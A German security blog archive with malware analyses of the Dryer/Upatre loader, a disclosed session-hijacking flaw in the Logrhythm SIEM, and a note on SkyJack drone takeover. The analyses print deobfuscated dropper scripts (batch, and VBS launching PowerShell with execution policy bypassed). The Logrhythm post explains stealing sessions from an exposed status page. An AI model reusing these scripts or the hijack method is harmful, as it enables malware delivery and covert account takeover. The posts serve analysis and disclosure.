Kategorie-Archiv: Security

Update von Dryer-Loader im Umlauf als PowerShell/Dowtre

Heute morgen bin ich über einen Virusalert gestolpert und die Signatur und der Aufbau ist mir gleich bekannt vorgekommen. 3 Files, einmal Batch, einmal VBS und einmal Powershell und zusätzlich ein Filename als Nummernstring; das sieht mir ganz nach dem Dryer-Loader und seiner Gefolgschaft aus!

Ein kurzer Blick auf die beiden Files, welche ich noch vor dem Virenscanner retten konnte, hat meine Vermutung auch bestätigt. Das Batch-Script hat die bekannten, kryptischen GOTO-Anweisungen und zu Beginn der sehr markante 2-fach Ping zur Prüfung der Internetverbindung:

@echo off
:jqduqihdjsakd
ping 3.2.1.1 -n 2
chcp 1251
:nuwqhduiw
set Rts2="vb"
set Rts1="."
set Rts3="s"
set Ads3="21385"
:hdjqkwhdqhwd
set Mts4="C:\Users\ksalivug\AppData\Local\Temp\"
:ajhsdkasghjgsd
set Rts4=%Mts4%%Ads3%
:byqdyqwgjhg
cscript.exe %Rts4%%Rts1%%Rts2%%Rts3%
exit

Ausserdem scheint der übliche Ablauf Makro > BAT > VBS > PS1 > Upatre.EXE > Dryer.EXE immer noch zu bestehen, nur wurde in meinem Fall bereits die PS1 und nicht wie in der ersten Version, welche ich Analysiert hatte, erst der Loader Upatre vom AV Scanner geblockt.

Ausserdem scheint der Entwickler nun auch den Fehler behoben zu haben, welche ich in der ersten Version angekreidet habe. Nun wird nach dem CreateObject auch tatsächlich noch ein Run ausgeführt:

Dim dff
dff = 68
swdff = 68
currentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))
Set objFSO=CreateObject("Scripting.FileSystemObject")
huih = ".ps"&"1"
nuaaa = "powerShell.exe"
currentFile = "C:\Users\ksalivug\AppData\Local\Temp\"&"21385"&huih
Set objShell = CreateObject("Wscript.shell")
objShell.Run ""&nuaaa&" -noexit -ExecutionPolicy bypass -noprofile -file " & currentFile,0,true

Wer das eigene Netzwerk prüfen will, der soll einfach nach Verbindungen zur IP 3.2.1.1 schauen: Diese war bereits beim Upatre sehr konstant einprogrammiert und scheint auch über die einzelnen Versionen nicht all zu gross zu variieren.

Session Hijacking einfach gemacht in Logrhythm

Logrhythm, eine SIEM-Lösung der aufstrebenden Art, welches Splunk oder Q-Radar wohl locker das Wasser reichen kann und im Vergleich zu den beiden Beispielen nur etwa die Hälfte kostet, konnte ich die vergangenen Tage mehr als ausführlich testen und ausprobieren – und ich muss sagen, ich bin begeistert!

Doch vor kurzem bin ich über ein kleines Problem gestossen, das schon fast etwas peinlich ist für ein Hersteller von einer solchen Security-Applikation. Beim Reload der Hauptseite ist mir im Menü aufgefallen, dass plötzlich eine ein weiterer Tab im Menü auftaucht mit der Aufschrift „Status“:

lr

Also habe ich mir mal kurz den HTML-Code dazu angesehen und bin über folgendes Snippet gestolpert:

<a class="navitem " href="/status" target="_self" ng-hide="'active current' != ''">Status</a>

Also schauen wir uns doch mal den Link an, welcher hier versteckt wird:

status

Ich muss schon sagen, ich war doch etwas schockiert und erstaunt. Mal abzusehen davon, dass hier eine Seite mit „Security through Obscurity“ geschützt wird, wird hier auch ohne weiteres der Session-String von allen eingeloggten Nutzern offenbart!

Ein kleiner Test hat gezeigt, was ich beim Entdecken der Seite bereits befürchtet hatte: Eintragen des Strings ins bestehende Cookie und Neuladen der Seite reicht aus und schon habe ich eine fremde Session übernommen… Nun ja, ich kann zwar damit nur einfache Suchanfragen ausführen, doch wenn ich nicht will, dass auskommt, wenn ich die Aktivitäten eines Benutzers überprüfen, so ist das eine effektive Massnahme, um nicht aufzufallen, oder das ganze jemandem anderen unterzuschieben!

Die Status-Seite in diesem Umfang steht zwar nur den globalen Administratoren der Lösung zur Verfügung, doch ich denke auch da sollte man nicht so leichtfertig mit diesen Informationen umgehen, ganz nach dem Motto: „Quis custodiet ipsos custodes?“

Dryer / Upatre im Detail

Vor kurzem bin ich über eine Version vom Dryer beziehungsweise seinem Loader, genannt Upatre gestolpert und meine Analyse möchte ich euch nicht vorenthalten:

Aufbau

In einem ersten Schritt habe ich mich an eine detaillierte Analyse gemacht. Begonnen hat alles mit einem Mail mit Word und Makro im Anhang. Durch einen Dump konnte ich die folgenden Makros rausziehen und durch ein bisschen Reverse Engineering und Zusammensetzen auch die Verschleierungsversuche rückgängig machen:

– ThisDocument
– Module1
– Module2

Daraus entstehen dann die folgenden Scripts. Einerseits ein Batch-Script, Variante 1:

echo off
:pinkator
	ping 1.2.3.1 -n 2
	set ggtt="bs"

:lqwjdjqiw
:lwijdsji
	set trfd="%TMP%\"
	set nmsj="31166"
	set exds="8"

	cscript.exe %TMP%\31166.vbs
	ping 2.2.1.1 -n 2
																								
:windows
	%TMP%\8.exe
																								
:loop
	ping 1.3.1.2 -n 1
	set tar1="31166.bat"
	set stat="444.png"
	del %TMP%\3116.vbs
	del %TMPT\31166.bat
	del %TMP%\444.png
																								
	if exist %TMP%\31166.bat goto loop
	if exist %TMPT\31166.vbs goto loop
exit

Weiterlesen

Spionageabwehr: Auto-Highjack von fliegenden AR.Dronen

Der Aufschrei war ja nicht gerade klein, als Amazon angekündigt hat, man teste „Eillieferungen“ via Dronen direkt ab Lager zum Kunden. Die Angst beschränkte sich dabei aber mehr auf Kollisionen und die Ersetzung von menschlicher Arbeit durch Roboter. Viel mehr Sorgen bereitet mir persönlich dabei aber etwas ähnliches wie das hier:

SkyJack heisst das Stück Software und kann mit einer eigenen Drone und einem Raspberry Pi andere Dronen übernehmen und steuern. Angewandt auf die Pläne von Amazon heisst das, eine umherfliegende Drohne kann Lieferdrohnen anhalten und die Lieferung übernehmen, womit diese dann leer beim Kunden ankommen – das wird ja ein Spass für Amazon!

Und selbst wenn Amazon zum Schluss kommt, dass Lieferdronen doch nicht das Gelbe vom Ei sind, so kann die Software installiert auf einem stationären Pi immer noch zur Abwehr von Dronen verwendet werden. Ich stelle mir das ziemlich lustig vor, wenn jemand in die Nähe von meinem Haus herumfliegt und dann von meinem Pi immer wieder aus dem WLAN gekickt wird, während die Drone einfach in der Luft stehen bleibt bis der Akku hinüber ist 😀

Mehr zu SykJack und dem Entwickler gibt es übrigens auf seiner Website.